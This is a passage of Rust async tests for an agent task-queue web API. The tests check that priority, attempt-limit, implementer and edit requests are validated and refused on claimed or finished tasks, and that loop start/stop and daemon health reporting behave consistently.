16863        drop(claim);
16864        for status in [
16865            TaskStatus::Running,
16866            TaskStatus::Done,
16867            TaskStatus::Failed,
16868            TaskStatus::Blocked,
16869            TaskStatus::Parked,
16870        ] {
16871            t.status = status;
16872            q.put(&mut t).unwrap();
16873            for urgent in [true, false] {
16874                let response = f
16875                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
16876                    .await;
16877                assert_eq!(response.status, 400, "{}", response.body);
16878                assert!(response.body.contains(status.as_str()));
16879                assert!(response.body.contains("queued or held"));
16880                assert!(!q.get(&t.id).unwrap().urgent);
16881            }
16882        }
16883        assert_eq!(
16884            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
16885                .await
16886                .status,
16887            404
16888        );
16889    }
16890
16891    #[tokio::test]
16892    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
16893        let f = Fixture::start().await;
16894        let queue = f.queue();
16895        let mut older = Task::new(
16896            "filed first".to_owned(),
16897            "x".to_owned(),
16898            PathBuf::from("/repo/magi"),
16899            Source::Human,
16900        );
16901        older.id = "20260101-000001-aaaa".to_owned();
16902        let mut newer = Task::new(
16903            "filed second".to_owned(),
16904            "x".to_owned(),
16905            PathBuf::from("/repo/magi"),
16906            Source::Human,
16907        );
16908        newer.id = "20260101-000002-bbbb".to_owned();
16909        queue.put(&mut older).expect("file older");
16910        queue.put(&mut newer).expect("file newer");
16911
16912        // Equal priority: the newer task leads, the same order the old
16913        // newest-first `list()` already gave every equal-priority queue.
16914        let before = f.get("/api/queue").await.json();
16915        assert_eq!(before[0]["id"], newer.id);
16916        assert_eq!(before[1]["id"], older.id);
16917
16918        // Raising the *older* task is the meaningful case: it can only lead
16919        // now because its priority says so, not because it happens to be
16920        // newest.
16921        let raised = f
16922            .post(
16923                &format!("/api/queue/{}/priority", older.id),
16924                Some(r#"{"priority":10}"#),
16925            )
16926            .await;
16927        assert_eq!(raised.status, 200, "{}", raised.body);
16928        assert_eq!(raised.json()["priority"], 10);
16929
16930        let after = f.get("/api/queue").await.json();
16931        let names: Vec<&str> = after
16932            .as_array()
16933            .unwrap()
16934            .iter()
16935            .map(|t| t["id"].as_str().unwrap())
16936            .collect();
16937        // Highest priority first, which is the order next_runnable and
16938        // `magi task list` both use - GET /api/queue must agree with it
16939        // immediately, not just once the loop claims the task.
16940        assert_eq!(names[0], older.id, "the raised task now sorts first");
16941    }
16942
16943    #[tokio::test]
16944    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
16945        let dir = TempDir::new().unwrap();
16946        let q = Queue::at(dir.path().join("queue"));
16947        let ui = Arc::new(Ui::new(
16948            q.clone(),
16949            Questions::at(dir.path().join("questions")),
16950            Talks::at(dir.path().join("talks")),
16951            dir.path().join("runs"),
16952            dir.path().to_path_buf(),
16953            dir.path().to_path_buf(),
16954        ));
16955        let mut t = Task::new(
16956            "budget".into(),
16957            "keep".into(),
16958            dir.path().into(),
16959            Source::Human,
16960        );
16961        t.attempts = 2;
16962        t.runs.push("prior-run".into());
16963        t.hold_manual(Some("waiting".into()));
16964        q.put(&mut t).unwrap();
16965        let change = |value| {
16966            queue_attempt_limit(
16967                State(ui.clone()),
16968                Path(t.id.clone()),
16969                Ok(Json(AttemptLimitBody {
16970                    attempt_limit: value,
16971                })),
16972            )
16973        };
16974        for value in [
16975            serde_json::json!(3),
16976            serde_json::Value::Null,
16977            serde_json::json!(1),
16978        ] {
16979            let response = change(value.clone()).await.unwrap();
16980            assert_eq!(
16981                serde_json::to_value(response.0).unwrap()["attempt_limit"],
16982                value
16983            );
16984            let saved = q.get(&t.id).unwrap();
16985            assert_eq!(
16986                serde_json::to_value(&saved).unwrap()["attempt_limit"],
16987                value
16988            );
16989            assert_eq!(saved.status, TaskStatus::Held);
16990            assert_eq!(saved.attempts, t.attempts);
16991            assert_eq!(saved.runs, t.runs);
16992            assert_eq!(saved.hold_reason, t.hold_reason);
16993            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
16994                .await
16995                .unwrap()
16996                .0;
16997            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
16998            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
16999            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
17000            assert_eq!(outcome.max_attempts, detail.max_attempts);
17001        }
17002        for value in [
17003            serde_json::json!(0),
17004            serde_json::json!(-1),
17005            serde_json::json!(1.5),
17006            serde_json::json!("3"),
17007            serde_json::json!(true),
17008        ] {
17009            assert_eq!(
17010                change(value).await.err().unwrap().status,
17011                StatusCode::BAD_REQUEST
17012            );
17013        }
17014        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
17015        let claim = q.claim(&t.id).unwrap();
17016        assert_eq!(
17017            change(serde_json::json!(4)).await.err().unwrap().status,
17018            StatusCode::CONFLICT
17019        );
17020        drop(claim);
17021        for status in [
17022            TaskStatus::Running,
17023            TaskStatus::Done,
17024            TaskStatus::Failed,
17025            TaskStatus::Blocked,
17026            TaskStatus::Parked,
17027        ] {
17028            let mut stored = q.get(&t.id).unwrap();
17029            stored.status = status;
17030            q.put(&mut stored).unwrap();
17031            assert_eq!(
17032                change(serde_json::json!(4)).await.err().unwrap().status,
17033                StatusCode::BAD_REQUEST
17034            );
17035            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
17036        }
17037        let mut stored = q.get(&t.id).unwrap();
17038        stored.status = TaskStatus::Queued;
17039        q.put(&mut stored).unwrap();
17040        let _ = change(serde_json::Value::Null).await.unwrap();
17041        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
17042    }
17043
17044    #[tokio::test]
17045    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
17046        let dir = TempDir::new().unwrap();
17047        let repo = dir.path().join("repo");
17048        std::fs::create_dir(&repo).unwrap();
17049        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
17050        let q = Queue::at(dir.path().join("queue"));
17051        let ui = Arc::new(Ui::new(
17052            q.clone(),
17053            Questions::at(dir.path().join("questions")),
17054            Talks::at(dir.path().join("talks")),
17055            dir.path().join("runs"),
17056            dir.path().to_path_buf(),
17057            repo.clone(),
17058        ));
17059        let mut t = Task::new(
17060            "seats".into(),
17061            "keep instruction".into(),
17062            repo,
17063            Source::Human,
17064        );
17065        t.runs.push("prior-run".into());
17066        t.hold_manual(Some("waiting".into()));
17067        q.put(&mut t).unwrap();
17068        let change = |count| {
17069            queue_implementers(
17070                State(ui.clone()),
17071                Path(t.id.clone()),
17072                Ok(Json(ImplementersBody {
17073                    implementers: count,
17074                })),
17075            )
17076        };
17077        for count in [2, 1, 2] {
17078            let response = change(count).await.unwrap();
17079            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
17080            let saved = q.get(&t.id).unwrap();
17081            assert_eq!(saved.implementers(), Some(usize::from(count)));
17082            assert_eq!(saved.runs, t.runs);
17083            assert_eq!(saved.instruction, t.instruction);
17084        }
17085        for count in [0, 4] {
17086            assert_eq!(
17087                change(count).await.err().unwrap().status,
17088                StatusCode::BAD_REQUEST
17089            );
17090        }
17091        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
17092        let claim = q.claim(&t.id).unwrap();
17093        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
17094        drop(claim);
17095        for status in [
17096            TaskStatus::Running,
17097            TaskStatus::Done,
17098            TaskStatus::Failed,
17099            TaskStatus::Blocked,
17100            TaskStatus::Parked,
17101        ] {
17102            let mut stored = q.get(&t.id).unwrap();
17103            stored.status = status;
17104            q.put(&mut stored).unwrap();
17105            assert_eq!(
17106                change(1).await.err().unwrap().status,
17107                StatusCode::BAD_REQUEST
17108            );
17109            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
17110        }
17111    }
17112
17113    #[tokio::test]
17114    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
17115        let f = Fixture::start().await;
17116        let queue = f.queue();
17117        let mut task = Task::new(
17118            "in flight".to_owned(),
17119            "x".to_owned(),
17120            PathBuf::from("/repo/magi"),
17121            Source::Human,
17122        );
17123        task.start("20260902-140502-bbbb".to_owned());
17124        queue.put(&mut task).expect("file the task");
17125
17126        let res = f
17127            .post(
17128                &format!("/api/queue/{}/priority", task.id),
17129                Some(r#"{"priority":9}"#),
17130            )
17131            .await;
17132        assert_eq!(res.status, 400, "{}", res.body);
17133        assert!(
17134            res.json()["error"]
17135                .as_str()
17136                .is_some_and(|e| e.contains("running")),
17137            "{}",
17138            res.body
17139        );
17140        assert_eq!(
17141            queue.get(&task.id).expect("reload").priority,
17142            0,
17143            "the refused write must not partially apply"
17144        );
17145    }
17146
17147    #[tokio::test]
17148    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
17149        let f = Fixture::start().await;
17150        let queue = f.queue();
17151        let mut task = Task::new(
17152            "old title".to_owned(),
17153            "old instruction".to_owned(),
17154            PathBuf::from("/repo/magi"),
17155            Source::Agent {
17156                run: "20260101-000000-beef".to_owned(),
17157                node: "implement".to_owned(),
17158            },
17159        );
17160        task.runs.push("20260101-000000-beef".to_owned());
17161        queue.put(&mut task).expect("file the task");
17162        let created_at = task.created_at;
17163
17164        let edited = f
17165            .post(
17166                &format!("/api/queue/{}/edit", task.id),
17167                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
17168            )
17169            .await;
17170        assert_eq!(edited.status, 200, "{}", edited.body);
17171        let body = edited.json();
17172        assert_eq!(body["title"], "new title");
17173        assert_eq!(body["instruction"], "new instruction");
17174        assert_eq!(body["id"], task.id, "editing must not mint a new id");
17175        assert_eq!(body["created_at"], created_at.to_string());
17176        assert_eq!(
17177            body["source"]["kind"], "agent",
17178            "editing a task an agent filed must not turn it human: {body}"
17179        );
17180        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
17181
17182        let reloaded = queue.get(&task.id).expect("reload");
17183        assert_eq!(reloaded.title, "new title");
17184        assert_eq!(reloaded.instruction, "new instruction");
17185    }
17186
17187    #[tokio::test]
17188    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
17189        // The judge is an agent now: a repo whose only agent answers
17190        // "duplicate" stands in for it, so the refusal is the judge's.
17191        let tmp = TempDir::new().expect("tempdir");
17192        let repo = tmp.path().join("repo");
17193        std::fs::create_dir_all(&repo).expect("repo dir");
17194        let judge = MOCK_AGENT_TOML.replace(
17195            "printf ok",
17196            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
17197        );
17198        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
17199        let f = Fixture::with_repo(repo.clone()).await;
17200        let queue = f.queue();
17201        let mut owner = Task::new(
17202            "owner".to_owned(),
17203            "review it".to_owned(),
17204            repo.clone(),
17205            Source::Human,
17206        );
17207        owner.review_branch = Some("magi/ab12/A".to_owned());
17208        queue.put(&mut owner).expect("file the owner");
17209        let mut task = Task::new(
17210            "draft".to_owned(),
17211            "old".to_owned(),
17212            repo.clone(),
17213            Source::Human,
17214        );
17215        queue.put(&mut task).expect("file the draft");
17216        let url = format!("/api/queue/{}/edit", task.id);
17217
17218        let refused = f
17219            .post(
17220                &url,
17221                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
17222            )
17223            .await;
17224        assert_eq!(refused.status, 409, "{}", refused.body);
17225        let msg = refused.json()["error"]
17226            .as_str()
17227            .unwrap_or_default()
17228            .to_owned();
17229        assert!(
17230            msg.contains("magi/ab12/A") && msg.contains("force"),
17231            "{msg}"
17232        );
17233        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
17234
17235        let forced = f
17236            .post(
17237                &url,
17238                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
17239            )
17240            .await;
17241        assert_eq!(forced.status, 200, "{}", forced.body);
17242    }
17243
17244    #[tokio::test]
17245    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
17246        let f = Fixture::start().await;
17247        let queue = f.queue();
17248        let mut task = Task::new(
17249            "in flight".to_owned(),
17250            "do not touch".to_owned(),
17251            PathBuf::from("/repo/magi"),
17252            Source::Human,
17253        );
17254        task.start("20260902-140502-bbbb".to_owned());
17255        queue.put(&mut task).expect("file the task");
17256
17257        let res = f
17258            .post(
17259                &format!("/api/queue/{}/edit", task.id),
17260                Some(r#"{"title":"x","instruction":"y"}"#),
17261            )
17262            .await;
17263        assert_eq!(res.status, 400, "{}", res.body);
17264        assert!(
17265            res.json()["error"]
17266                .as_str()
17267                .is_some_and(|e| e.contains("running")),
17268            "{}",
17269            res.body
17270        );
17271        assert_eq!(
17272            queue.get(&task.id).expect("reload").instruction,
17273            "do not touch",
17274            "the refused edit must not change the file"
17275        );
17276    }
17277
17278    #[tokio::test]
17279    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
17280        let f = Fixture::start().await;
17281        let queue = f.queue();
17282        let mut task = Task::new(
17283            "busy".to_owned(),
17284            "Running right now".to_owned(),
17285            PathBuf::from("/repo/magi"),
17286            Source::Human,
17287        );
17288        queue.put(&mut task).expect("file the task");
17289        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17290
17291        let priority = f
17292            .post(
17293                &format!("/api/queue/{}/priority", task.id),
17294                Some(r#"{"priority":9}"#),
17295            )
17296            .await;
17297        assert_eq!(priority.status, 409, "{}", priority.body);
17298
17299        let edit = f
17300            .post(
17301                &format!("/api/queue/{}/edit", task.id),
17302                Some(r#"{"title":"x","instruction":"y"}"#),
17303            )
17304            .await;
17305        assert_eq!(edit.status, 409, "{}", edit.body);
17306    }
17307
17308    #[tokio::test]
17309    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
17310        let f = Fixture::start().await;
17311        let queue = f.queue();
17312        let mut task = Task::new(
17313            "shipped by hand".to_owned(),
17314            "merged outside the loop".to_owned(),
17315            PathBuf::from("/repo/magi"),
17316            Source::Agent {
17317                run: "20260101-000000-b455".to_owned(),
17318                node: "implement".to_owned(),
17319            },
17320        );
17321        task.runs.push("20260101-000000-b455".to_owned());
17322        task.runs.push("20260101-000000-9af4".to_owned());
17323        queue.put(&mut task).expect("file the task");
17324        let created_at = task.created_at;
17325
17326        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17327        assert_eq!(done.status, 200, "{}", done.body);
17328        assert_eq!(done.json()["status_str"], "done");
17329
17330        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
17331        assert_eq!(
17332            reloaded.runs,
17333            ["20260101-000000-b455", "20260101-000000-9af4"]
17334        );
17335        assert_eq!(
17336            reloaded.source,
17337            Source::Agent {
17338                run: "20260101-000000-b455".to_owned(),
17339                node: "implement".to_owned(),
17340            }
17341        );
17342        assert_eq!(reloaded.created_at, created_at);
17343    }
17344
17345    #[tokio::test]
17346    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
17347        // `done` is allowed on any status, including `held`, with no release
17348        // in between - so a task held for a reason and then closed directly
17349        // must not keep reading as "waiting on" it afterwards, on its card or
17350        // in `magi task show`.
17351        let f = Fixture::start().await;
17352        let queue = f.queue();
17353        let mut task = Task::new(
17354            "landed while held".to_owned(),
17355            "x".to_owned(),
17356            PathBuf::from("/repo/magi"),
17357            Source::Human,
17358        );
17359        task.hold_manual(Some("waiting on 3ed9".to_owned()));
17360        queue.put(&mut task).expect("file the held task");
17361
17362        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17363        assert_eq!(done.status, 200, "{}", done.body);
17364        assert_eq!(done.json()["status_str"], "done");
17365        assert!(
17366            done.json()["hold_reason"].is_null(),
17367            "a done task cannot still be waiting on something: {}",
17368            done.body
17369        );
17370    }
17371
17372    #[tokio::test]
17373    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
17374        // `queue_done` is the phone's way to close a task the loop never
17375        // settled itself - after confirming a manual GitHub merge, say - and
17376        // that is just as much "this task's story is over" as the loop's own
17377        // `Merged`/`Ready` path, so it must trigger the same cleanup.
17378        let f = Fixture::start().await;
17379        let queue = f.queue();
17380        let runs = f.runs();
17381        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
17382        // The last attempt has to have actually landed for the earlier one
17383        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
17384        // for the case where it didn't.
17385        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
17386
17387        let mut task = Task::new(
17388            "landed by hand".to_owned(),
17389            "x".to_owned(),
17390            PathBuf::from("/repo/magi"),
17391            Source::Human,
17392        );
17393        task.runs.push("20260101-000000-doa1".to_owned());
17394        task.runs.push("20260101-000000-doa2".to_owned());
17395        queue.put(&mut task).expect("file the task");
17396
17397        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17398        assert_eq!(done.status, 200, "{}", done.body);
17399
17400        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
17401            .expect("run still on disk under this fixture's own home");
17402        assert_eq!(
17403            reloaded_run.status,
17404            RunStatus::Superseded,
17405            "closing the task by hand must relabel the earlier blocked attempt exactly \
17406             like the loop's own settle path does"
17407        );
17408    }
17409
17410    #[tokio::test]
17411    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
17412        // Closing a task by hand is allowed from any status, including one
17413        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
17414        // manual merge the loop never watched, say. Nothing here is provably
17415        // why the task is done, so nothing earlier gets relabelled either.
17416        let f = Fixture::start().await;
17417        let queue = f.queue();
17418        let runs = f.runs();
17419        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
17420        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
17421
17422        let mut task = Task::new(
17423            "closed with nothing actually landed".to_owned(),
17424            "x".to_owned(),
17425            PathBuf::from("/repo/magi"),
17426            Source::Human,
17427        );
17428        task.runs.push("20260101-000000-dob1".to_owned());
17429        task.runs.push("20260101-000000-dob2".to_owned());
17430        queue.put(&mut task).expect("file the task");
17431
17432        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17433        assert_eq!(done.status, 200, "{}", done.body);
17434
17435        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
17436            .expect("run still on disk under this fixture's own home");
17437        assert_eq!(
17438            reloaded_run.status,
17439            RunStatus::Blocked,
17440            "the last recorded attempt never landed, so the earlier one must not be \
17441             relabelled as superseded by it"
17442        );
17443    }
17444
17445    #[tokio::test]
17446    async fn unknown_ids_are_json_not_found_on_both_stores() {
17447        let f = Fixture::start().await;
17448
17449        let run = f.get("/api/runs/nosuchrun").await;
17450        let task = f.post("/api/queue/nosuchtask/hold", None).await;
17451
17452        assert_eq!(run.status, 404);
17453        assert_eq!(task.status, 404);
17454        assert!(
17455            run.json()["error"]
17456                .as_str()
17457                .is_some_and(|e| e.contains("run")),
17458            "the error names what was not found: {}",
17459            run.body
17460        );
17461        assert!(
17462            task.json()["error"]
17463                .as_str()
17464                .is_some_and(|e| e.contains("task")),
17465            "the error names what was not found: {}",
17466            task.body
17467        );
17468    }
17469
17470    #[tokio::test]
17471    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17472        let f = Fixture::start().await;
17473
17474        let missing = f.get("/api/health").await.json();
17475        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17476
17477        write_daemon(
17478            f.home.path(),
17479            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17480        );
17481        let stale = f.get("/api/health").await.json();
17482        assert_eq!(
17483            stale["daemon"]["running"], false,
17484            "a minute without a heartbeat is a dead daemon, not a busy one"
17485        );
17486        assert!(
17487            stale["daemon"]["stale_for_secs"]
17488                .as_i64()
17489                .is_some_and(|s| s >= 55),
17490            "staleness is reported so the UI can say how long: {stale}"
17491        );
17492
17493        write_daemon(f.home.path(), Timestamp::now());
17494        let fresh = f.get("/api/health").await.json();
17495        assert_eq!(fresh["daemon"]["running"], true);
17496        assert_eq!(fresh["daemon"]["idle"], false);
17497        assert_eq!(fresh["daemon"]["pid"], 4242);
17498        assert_eq!(fresh["daemon"]["completed"], 7);
17499        assert_eq!(
17500            fresh["daemon"]["current"][0]["task"],
17501            "20260902-140501-aaaa"
17502        );
17503        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17504    }
17505
17506    #[tokio::test]
17507    async fn the_loop_is_not_running_until_something_starts_it() {
17508        let f = Fixture::start().await;
17509
17510        let view = f.get("/api/loop").await.json();
17511        assert_eq!(view["running"], false);
17512        assert_eq!(
17513            view["owned"], false,
17514            "nobody owns a loop that does not exist: {view}"
17515        );
17516        assert_eq!(view["stopping"], false);
17517        assert_eq!(view["last_error"], Value::Null);
17518        assert_eq!(view["daemon"]["running"], false);
17519        assert_eq!(
17520            view["repo"], "/repo/magi",
17521            "the repository a start would use, named before it is started"
17522        );
17523    }
17524
17525    #[tokio::test]
17526    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17527        let f = Fixture::start().await;
17528
17529        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17530        assert_eq!(res.status, 200, "{}", res.body);
17531        let view = res.json();
17532        assert_eq!(view["running"], true);
17533        assert_eq!(
17534            view["owned"], true,
17535            "the loop the UI started is the UI's own to stop: {view}"
17536        );
17537        assert_eq!(
17538            view["merge"],
17539            Value::Null,
17540            "no override was given, so each repository's own config decides"
17541        );
17542
17543        // The same object from the route a waking phone polls first. Two
17544        // surfaces disagreeing about whether anything is running is exactly
17545        // the confusion this UI exists to remove.
17546        let health = f.get("/api/health").await.json();
17547        assert_eq!(health["loop"]["running"], true, "{health}");
17548        assert_eq!(health["loop"]["owned"], true, "{health}");
17549
17550        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17551    }
17552
17553    #[tokio::test]
17554    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17555        let f = Fixture::start().await;
17556        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17557        assert_eq!(first.status, 200, "{}", first.body);
17558
17559        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17560        assert_eq!(
17561            again.status, 409,
17562            "two loops on one queue race for the same claims: {}",
17563            again.body
17564        );
17565        assert!(
17566            again.json()["error"]
17567                .as_str()
17568                .is_some_and(|e| e.contains("already running the loop")),
17569            "the refusal has to say why: {}",
17570            again.body
17571        );
17572        assert_eq!(
17573            f.get("/api/loop").await.json()["running"],
17574            true,
17575            "and the loop that was already running is untouched by it"
17576        );
17577
17578        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17579    }
17580
17581    #[tokio::test]
17582    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17583        let f = Fixture::start().await;
17584        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17585
17586        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17587        assert_eq!(
17588            res.status, 200,
17589            "the answer must not wait for the loop: a run in flight is tens of \
17590             minutes and the operator is holding a phone: {}",
17591            res.body
17592        );
17593
17594        let view = settled(&f, |v| v["running"] == false).await;
17595        assert_eq!(view["owned"], false);
17596        assert_eq!(
17597            view["stopping"], false,
17598            "a loop that has stopped is not still stopping: {view}"
17599        );
17600        assert_eq!(
17601            view["last_error"],
17602            Value::Null,
17603            "a loop that was asked to stop did not fail: {view}"
17604        );
17605
17606        // Idempotent, because the operator cannot tell a slow stop from a lost
17607        // one and will press it again.
17608        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17609        assert_eq!(twice.status, 200, "{}", twice.body);
17610    }
17611
17612    #[tokio::test]
17613    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17614        let f = Fixture::start().await;
17615        // How the operator has been doing it: a `magi serve` of their own,
17616        // heartbeat fresh, in the same home this UI reads.
17617        write_daemon(f.home.path(), Timestamp::now());
17618
17619        let view = f.get("/api/loop").await.json();
17620        assert_eq!(view["running"], false, "not in this process: {view}");
17621        assert_eq!(view["owned"], false, "and not this process's to control");
17622        assert_eq!(
17623            view["daemon"]["running"], true,
17624            "but a loop is alive somewhere, which is what the UI must say"
17625        );
17626        assert_eq!(view["daemon"]["pid"], 4242);
17627
17628        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17629            let res = f.post("/api/loop", Some(body)).await;
17630            assert_eq!(
17631                res.status, 409,
17632                "neither button may pretend to work on someone else's loop: {}",
17633                res.body
17634            );
17635            assert!(
17636                res.json()["error"]
17637                    .as_str()
17638                    .is_some_and(|e| e.contains("4242")),
17639                "the refusal has to name the process the operator must go to: {}",
17640                res.body
17641            );
17642        }
17643        assert_eq!(
17644            f.get("/api/loop").await.json()["running"],
17645            false,
17646            "and the refusal started nothing"
17647        );
17648    }
17649
17650    #[tokio::test]
17651    async fn a_stale_status_file_is_not_a_foreign_owner() {
17652        let f = Fixture::start().await;
17653        write_daemon(
17654            f.home.path(),
17655            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17656        );
17657
17658        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17659        assert_eq!(
17660            res.status, 200,
17661            "a daemon killed a minute ago must not lock the loop out of its \
17662             own home for good: {}",
17663            res.body
17664        );
17665        assert_eq!(res.json()["running"], true);
17666
17667        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17668    }
17669
17670    #[tokio::test]
17671    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17672        let f = Fixture::start().await;
17673        let before = f.get("/api/health").await.json()["loop_rev"]
17674            .as_u64()
17675            .expect("a loop revision");
17676
17677        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17678
17679        let after = f.get("/api/health").await.json()["loop_rev"]
17680            .as_u64()
17681            .expect("a loop revision");
17682        assert!(
17683            after > before,
17684            "the loop is in-process state, so this counter is the only thing \
17685             that tells a second device the first one started it: {before} -> \
17686             {after}"
17687        );
17688
17689        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17690    }
17691
17692    #[tokio::test]
17693    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
17694        let f = Fixture::with_loop(launch_broken).await;
17695
17696        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17697        assert_eq!(
17698            res.status, 200,
17699            "starting it is not the failure: {}",
17700            res.body
17701        );
17702
17703        let view = settled(&f, |v| v["last_error"].is_string()).await;
17704        assert_eq!(
17705            view["running"], false,
17706            "a loop that died must not read as running, or the operator has \
17707             nothing to press: {view}"
17708        );
17709        assert_eq!(view["owned"], false);
17710        assert!(
17711            view["last_error"]
17712                .as_str()
17713                .is_some_and(|e| e.contains("read-only file system")),
17714            "the phone is where a loop that died at 3am is visible: {view}"
17715        );
17716
17717        // And it can be started again: the corpse was reaped, not left to
17718        // occupy the slot.
17719        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17720        assert_eq!(again.status, 200, "{}", again.body);
17721        assert!(
17722            again.json()["last_error"]
17723                .as_str()
17724                .is_none_or(|e| !e.contains("read-only file system")),
17725            "a fresh start does not keep showing why the last one died: {}",
17726            again.body
17727        );
17728    }
17729
17730    #[tokio::test]
17731    async fn a_newer_daemon_status_file_still_renders() {
17732        let f = Fixture::start().await;
17733        // A field this build has never heard of must not turn the status line
17734        // into a 500; that is the whole reason the reader is permissive.
17735        std::fs::write(
17736            f.home.path().join("daemon.json"),
17737            serde_json::json!({
17738                "schema": 2,
17739                "updated_at": Timestamp::now().to_string(),
17740                "idle": true,
17741                "surprise": { "nested": [1, 2, 3] },
17742            })
17743            .to_string(),
17744        )
17745        .expect("write daemon.json");
17746
17747        let health = f.get("/api/health").await;
17748
17749        assert_eq!(health.status, 200);
17750        assert_eq!(health.json()["daemon"]["running"], true);
17751    }
17752
17753    #[tokio::test]
17754    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
17755        let f = Fixture::start().await;
17756        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17757        let broken = f.runs().join("20260902-140502-bad");
17758        std::fs::create_dir_all(&broken).expect("run dir");
17759        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17760
17761        let list = f.get("/api/runs").await;
17762        let detail = f.get("/api/runs/20260902-140502-bad").await;
17763
17764        assert_eq!(list.status, 200);
17765        let listed = list.json();
17766        let ids: Vec<&str> = listed
17767            .as_array()
17768            .expect("an array")
17769            .iter()
17770            .map(|r| r["id"].as_str().expect("an id"))
17771            .collect();
17772        assert_eq!(
17773            ids,
17774            vec!["20260902-140501-good"],
17775            "one unreadable run must not cost the operator the whole history"
17776        );
17777        assert_eq!(detail.status, 500);
17778        assert!(
17779            detail.json()["error"]
17780                .as_str()
17781                .is_some_and(|e| e.contains("run.json")),
17782            "the failure names the file to look at: {}",
17783            detail.body
17784        );
17785        // A skipped run has to be countable somewhere, or the UI shows an
17786        // empty history with nothing to explain it - which is exactly what a
17787        // directory full of older-schema runs looks like.
17788        let health = f.get("/api/health").await;
17789        assert_eq!(health.json()["runs_unreadable"], 1);
17790    }
17791
17792    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
17793    #[tokio::test]
17794    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
17795        let f = Fixture::start().await;
17796        let runs = f.runs();
17797        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
17798        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
17799        // Text three levels down, in a shape no current RunState has: an older
17800        // schema must still search.
17801        let path = runs.join("20260902-140502-bbbb").join("run.json");
17802        let mut v: serde_json::Value =
17803            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17804        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
17805        std::fs::write(&path, v.to_string()).unwrap();
